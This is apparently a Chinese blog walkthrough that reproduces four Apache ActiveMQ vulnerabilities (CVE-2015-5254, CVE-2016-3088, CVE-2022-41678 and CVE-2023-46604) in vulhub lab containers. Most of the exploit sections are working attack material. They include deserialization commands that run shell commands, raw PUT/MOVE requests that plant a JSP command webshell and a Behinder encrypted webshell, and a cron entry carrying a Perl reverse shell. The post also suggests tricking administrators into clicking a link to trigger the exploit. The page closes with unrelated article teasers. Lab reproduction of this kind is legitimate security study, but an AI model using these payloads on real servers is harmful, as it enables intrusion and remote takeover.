vulhub——ActiveMQ漏洞

news2024/11/18 11:21:08

文章目录

  • 一、CVE-2015-5254(反序列化漏洞)
  • 二、CVE-2016-3088(任意文件写入漏洞)
    • 2.1 漏洞原理
    • 2.2 写入webshell
    • 2.3 写入crontab
  • 三、CVE-2022-41678(远程代码执行漏洞)
    • 方法一
    • 方法2
  • 四、CVE-2023-46604(反序列化命令执行漏洞)

一、CVE-2015-5254(反序列化漏洞)

影响版本:Apache ActiveMQ 5.13.0之前5.x版本。apache中间件漏洞
漏洞成因:程序没有限制可在代理中序列化的类,远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

docker-compose up -d # 启动环境

环境运行后,将监听616168161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。访问http://127.0.0.1:8161即可看到web管理页面,不过这个漏洞理论上是不需要web的。
在这里插入图片描述
漏洞发现

  1. 构造(可以使用ysoserial)可执行命令的序列化对象
  2. 作为一个消息,发送给目标61616端口
  3. 访问web管理页面,读取消息,触发漏洞

构造可供执行的序列化对象,jmet用ysoserial工具生成 Payload 并发送,需要选择ysoserial工具中的 gadget(例如 “ROME”)作为 Payload 的一部分,最终构造出具有特定目的的恶意数据。

给ActiveMQ添加一个事件队列

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.92.6 61616

在这里插入图片描述

注意:需要在jmet-0.1.0-all.jar文件所属路径下新建一个external文件夹。
在这里插入图片描述

访问http://192.168.92.6:8161/admin/browse.jsp?JMSDestination=event,用户名、密码均为admin,即可看到成功发送队列,点击该队列,即可触发命令执行

在这里插入图片描述
在这里插入图片描述

docker exec -it <container> /bin/bash # 进入容器

在这里插入图片描述

注意:通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。

二、CVE-2016-3088(任意文件写入漏洞)

ActiveMQ的web控制台分三个应用:adminapifileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录

fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:

  • 其使用率并不高
  • 文件操作容易出现漏洞

版本要求:ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。

2.1 漏洞原理

本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是**fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)**。所以,只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。文件写入有几种利用方法:

  • 写入webshell
  • 写入cron或ssh key等文件
  • 写入jar或jetty.xml等库和配置文件
  • 写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;
  • 写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;
  • 写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径。

2.2 写入webshell

写入webshell,需要写在admin或api应用中,而这俩应用都需要登录才能访问。默认的ActiveMQ账号密码均为admin,首先访问http://192.168.92.6:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径:
在这里插入图片描述
使用哥斯拉生成大马,并上传

PUT /fileserver/1.txt HTTP/1.1
Host: 192.168.92.6:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 120976

<%@ page import="java.io.*"%>
<%
 out.print("Hello</br>");
 String strcmd=request.getParameter("cmd");
 String line=null;
 Process p=Runtime.getRuntime().exec(strcmd);
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
 while((line=br.readLine())!=null){
 out.print(line+"</br>");
 }
%>

在这里插入图片描述
移动到web目录下的api文件夹(/opt/activemq/webapps/api/s.jsp)中:

MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/s1.jsp
Host: 192.168.92.6:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0


在这里插入图片描述
访问http://192.168.92.6:8161/api/,查看是否存在脚本文件。
在这里插入图片描述

  • s.jsp为哥斯拉生成的jsp木马,密码默认;
  • s1.jsp为常规jsp木马
<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>

直接使用cmd传参即可
在这里插入图片描述

  • s2.jsp为冰蝎木马
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{
   U(ClassLoader c){
       super(c);
   }

  public Class g(byte []b){
       return super.defineClass(b,0,b.length);
   }
}%>
<%if (request.getMethod().equals("POST"))
{
   String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
   session.putValue("u",k);
   Cipher c=Cipher.getInstance("AES");
   c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
   new U(this.getClass().getClassLoader()).g(c.doFinal(new >sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(page>Context);
}%>

在这里插入图片描述

2.3 写入crontab

首先上传cron配置文件(注意,换行一定要\n,不能是\r\n,否则crontab执行会失败)。

PUT /fileserver/1.txt HTTP/1.1
Host: 192.168.92.6:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 248

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.92.6";$p=444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

在这里插入图片描述

MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0


在这里插入图片描述
成功获取shell。
在这里插入图片描述

这个方法需要ActiveMQ是root运行,否则也不能写入cron文件。

三、CVE-2022-41678(远程代码执行漏洞)

ActiveMQ后台存在Jolokia代码执行漏洞,在ActiveMQ中,经过身份验证的远程攻击者下可通过/api/jolokia/接口操作MBean,成功利用此漏洞可导致远程代码执行。
影响版本Apache ActiveMQ < 5.16.65.17.0< Apache ActiveMQ < 5.17.4
访问192.168.92.6:8161,用户名和密码均为admin。访问http://192.168.92.6:8161/api/jolokia/list,需要发送上面的数据包:

GET /api/jolokia/list HTTP/1.1
Host: 192.168.92.6:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=1


在这里插入图片描述

方法一

第一个方法是使用org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean,这是由Log4j2提供的一个MBean(就是一个java接口)。攻击者使用这个MBean中的setConfigText操作可以更改Log4j的配置,进而将日志文件写入任意目录中。使用poc脚本来复现完整的过程:

python poc.py -u admin -p admin http://192.168.92.6:8161

在这里插入图片描述
在这里插入图片描述

这个方法受到ActiveMQ版本的限制,因为Log4j2是在5.17.0中才引入Apache ActiveMQ

方法2

第二个可利用的Mbean是jdk.management.jfr.FlightRecorderMXBean。FlightRecorder是在OpenJDK 11中引入的特性,被用于记录Java虚拟机的运行事件。利用这个功能,攻击者可以将事件日志写入任意文件。使用poc脚本来复现完整的过程(使用–exploit参数指定使用的方法):

python poc.py -u admin -p admin --exploit jfr http://192.168.92.6:8161

在这里插入图片描述
在这里插入图片描述

四、CVE-2023-46604(反序列化命令执行漏洞)

漏洞原理
允许具有代理网络访问权限的远程攻击者“通过操纵OpenWire协议中的序列化类类型来运行任意shell命令,从而使代理实例化类路径上的任何类”,问题的根本原因是不安全的反序列化。
影响版本

Apache ActiveMQ 5.18.0 < 5.18.3
Apache ActiveMQ 5.17.0 < 5.17.6
Apache ActiveMQ 5.16.0 < 5.16.7
Apache ActiveMQ < 5.15.16
Apache ActiveMQ Legacy OpenWire Module 5.18.0 < 5.18.3
Apache ActiveMQ Legacy OpenWire Module 5.17.0 < 5.17.6
Apache ActiveMQ Legacy OpenWire Module 5.16.0 < 5.16.7
Apache ActiveMQ Legacy OpenWire Module 5.8.0 < 5.15.16

ActiveMQ运行后,默认监听如下两个端口:

  • 8161 web:需配置才可远程访问;
  • 61616 tcp:远程访问。

反序列化漏洞出现在61616端口中。
访问192.168.92.6:8161,用户名、密码仍然为admin,说明服务已开启。
在这里插入图片描述
建立http服务,并且包含poc.html

python -m http.server 8888

在这里插入图片描述
执行poc.py,传入的三个参数分别是目标服务器地址、端口,以及包含poc.xml的反连平台URL:

python poc.py 192.168.92.6 61616 http://192.168.92.6:8888/poc.xml

在这里插入图片描述
进入容器,查看文件是否创建成功:

docker exec <容器名称> ls -l /tmp

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1692535.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

状压dp 例题

终于在洛谷上发布题解了QWQ P10447 最短 Hamilton 路径 题解 分析题目&#xff1a; 一张 n n n 个点的带权无向图&#xff0c;求起点 0 0 0 至终点 n − 1 n-1 n−1 的最短 Hamilton 路径&#xff08;从 0 ∼ n − 1 0\sim n-1 0∼n−1 不重复地经过每个点一次&#xff…

springboot2+mybatis-plus+vue3创建入门小项目[学生管理系统]02[实战篇]

创建一个 vue 项目 创建这个新的文件夹 创建前端项目 eggbox 数据库 SQL CREATE DATABASE IF NOT EXISTS egg DEFAULT CHARACTER SET utf8 COLLATE utf8_bin; USE egg;CREATE TABLE stu (id INT AUTO_INCREMENT, -- 自增主键name VARCHAR(64) NOT NULL, -- 非空姓名字段&a…

DataGear 制作服务端分页的数据可视化看板

DataGear 2.3.0 版本新增了附件图表数据集特性&#xff08;在新建图表时将关联的数据集设置为 附件 &#xff0c;具体参考官网文档定义图表章节&#xff09;&#xff0c;在制作看板时&#xff0c;可以基于此特性&#xff0c;结合dg-chart-listener&#xff0c;利用服务端数据扩…

HTTP 请求的完整过程

HTTP 请求的完整过程 当用户在浏览器输入网址回车之后&#xff0c;网络协议都做了哪些工作呢? 首先工作的是 浏览器应用程序&#xff0c;他要解析出 URL中的域名 根据域名获取对应的ip地址&#xff0c;首先从浏览器缓存中査看&#xff0c;如下可以査看浏览器中域名对应ip的解…

WPF中MVVM架构学习笔记

MVVM架构是一种基于数据驱动的软件开发架构&#xff0c;它将数据模型&#xff08;Model&#xff09;、视图&#xff08;View&#xff09;和视图模型&#xff08;ViewModel&#xff09;三者进行分离&#xff0c;使得开发者可以更加专注于各自领域的开发。其中&#xff0c;Model负…

C++入门:从C语言到C++的过渡(2)

目录 1.缺省参数 1.1缺省参数的概念 1.2缺省参数的分类及使用 1.3注意点 2.函数重载 2.1函数重载的定义 2.2函数重载的情况分类 2.3注意 2.4函数名修饰规则 3.引用 3.1引用的概念 3.2注意事项 3.3常引用 4.4引用的使用场景 4.4.1作为函数的参数 4.4.2做函数返回…

计算机网络安全控制技术

1.防火墙技术 防火墙技术是近年来维护网络安全最重要的手段&#xff0c;但是防火墙不是万能的&#xff0c;需要配合其他安全措施来协同 2.加密技术 目前加密技术主要有两大类&#xff1a;对称加密和非对称加密 3.用户识别技术 核心是识别网络者是否是属于系统的合法用户 …

CSS基础(第二天)

Emmet语法 快速生成HTML结构语法 1. 生成标签 直接输入标签名 按tab键即可 比如 div 然后tab 键&#xff0c; 就可以生成 <div></div> 2. 如果想要生成多个相同标签 加上 * 就可以了 比如 div*3 就可以快速生成3个div 3. 如果有父子级关系的标签&#xff0c;可以…

进制转换【野路子改造】

非科班&#xff0c;一直都是自己的野路子&#xff0c;现在要回炉重造 十进制->二进制 基本思想&#xff1a; 开始写的&#xff08;80%&#xff09;&#xff1a; #include<stdio.h> using namespace std; int main(){ int n; scanf("%d",&n); int a[1…

Linux(Ubuntu)下MySQL5.7的安装

文章目录 1.看系统本身有没有MySQL2.安装MySQL3.登录MySQL4.修改配置文件my.cnf/mysqld.cnf5.开启远程访问功能5.1 允许其他主机通过root访问数据库5.2 Ubuntu下配置文件修改说明 1.看系统本身有没有MySQL mariadb也是mysql所以要先检查一下系统有没有MySQL 我这台机子是新机子…

FreeRTOS_任务通知_学习笔记

原文链接 任务通知 使用队列、信号量、事件组等等方法时&#xff0c;并不知道对方是谁。使用任务通知时&#xff0c;可以明确指定&#xff1a;通知哪个任务。 任务通知结构体中只有一个任务通知值&#xff0c;只能保持一个数据。 数据智能给目标任务独享。 任务通知只能一个…

win10右键没有默认打开方式的选项的处理方法

问题描述 搞了几个PDF书籍学习一下&#xff0c;不过我不想用默认的WPS打开&#xff0c;因为WPS太恶心人了&#xff0c;占用资源又高。我下载了个Sumatra PDF&#xff0c;这时候我像更改pdf文件默认的打开程序&#xff0c;发现右击没有这个选项。 问题解决 右击文件–属性–…

误差反向传播简介与实现

误差反向传播 导语计算图反向传播链式法则 反向传播结构加法节点乘法节点 实现简单层加法乘法 激活函数层实现ReLUSigmoid Affine/Softmax层实现Affine基础版批版本 Softmax-with-Loss 误差反向传播实现梯度确认总结参考文献 导语 书上在前一章介绍了随机梯度下降法进行参数与…

C语言 控制台API函数

目录 前言1. 句柄 HANDLE2. 控制台API结构体2.1 坐标结构 COORD2.2 光标信息结构 CONSOLE_CURSOR_INFO2.3 控制台屏幕缓冲区信息结构 CONSOLE_SCREEN_BUFFER_INFO 3. 控制台API函数3.1 获取句柄 GetStdHandle3.2 获取光标信息 GetConsoleCursorInfo3.3 设置光标信息SetConsoleC…

达梦8 RLOG_COMPRESS_LEVEL参数对系统的影响

测试环境是一套主备达梦数据库。下面在主备库分别设置参数进行测试 测试一、 主库设置RLOG_COMPRESS_LEVEL9&#xff0c;备库设置为0。 分别删除主备库的归档日志后执行测试脚本 #当前时间 date disql SYSDBA/SYSDBA:1807 <<EOF #显示归档大小 select sum(free)/1024…

win10无权禁用任务计划程序中的任务

问题说明 最近被win10的自动频繁更新搞得难受&#xff0c;发誓要彻底禁用这个家伙&#xff0c;于是网上找了教程执行&#xff0c;发现执行到禁用windows update计划任务时&#xff0c;提示&#xff1a; 这特么windows这个辣鸡系统&#xff0c;限制还真多&#xff01;&#xf…

❤ Vscode和Idea都可以使用的-AI插件(官方-百度出的)

❤ Vscode和Idea都可以使用的-AI插件&#xff08;官方-百度出的&#xff09; 最新AI特别火&#xff0c;给大家推荐一下最新出的VScode插件&#xff0c;辅助我们写代码&#xff01; 1、下载地址&#xff1a; > https://comate.baidu.com/zh/shopping?inviteCodefkzlak8f …

HarmonyOS-MPChart绘制一条虚实相接的曲线

本文是基于鸿蒙三方库mpchart&#xff08;OpenHarmony-SIG/ohos-MPChart&#xff09;的使用&#xff0c;自定义绘制方法&#xff0c;绘制一条虚实相接的曲线。 mpchart本身的绘制功能是不支持虚实相接的曲线的&#xff0c;要么完全是实线&#xff0c;要么完全是虚线。那么当我…

嵌入式单片机启动地址映射关系

一、内核只会从0地址启动 1.0地址第一个字是sp栈指针,第二个字是Reset_Handler入口,参考图1中启动代码中的中断向量表。具体使用流程参考图2(参考自野火) 图1 图2 2.0地址映射以后,软件上使用0地址访问的空间是映射到的器件的空间 3.0地址映射只会影响单个器件上的地址,…

【C++】09.vector

一、vector介绍和使用 1.1 vector的介绍 vector是表示可变大小数组的序列容器。就像数组一样&#xff0c;vector也采用的连续存储空间来存储元素。也就是意味着可以采用下标对vector的元素进行访问&#xff0c;和数组一样高效。但是又不像数组&#xff0c;它的大小是可以动态改…